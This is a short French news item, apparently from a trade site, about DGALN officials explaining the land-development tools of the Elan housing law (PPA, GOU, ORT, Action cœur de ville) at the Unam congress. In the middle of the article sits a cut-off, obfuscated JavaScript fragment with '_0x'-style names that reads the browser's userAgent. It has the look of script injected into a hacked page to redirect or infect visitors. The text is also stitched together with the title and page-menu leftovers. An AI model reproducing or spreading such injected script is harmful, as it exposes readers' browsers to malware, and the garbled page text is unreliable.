A l’occasion du congrès annuel de l’Union nationale des aménageurs (Unam), les 24 et 25 septembre, deux représentants de la DGALN (direction générale de l’aménagement, du logement et de la nature), l’administration centrale rattachée au ministère de la Cohésion des territoires, se sont livrés à une explication de texte, quelques jours après que les députés et les sénateurs se sont mis d’accord sur le projet de loi Elan. Au menu : les nouveaux dispositifs en matière d’aménagement, leurs destinataires, leur champs d’application, et la façon dont ils peuvent s’imbriquer. Passage en revue.
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3–0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;}, _0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent’, (...)
PPA, GOU, ORT, Action cœur de ville : explication de texte de la loi Elan
Outils
TAILLE DU TEXTE
- Font Size
- Default
- Mode de lecture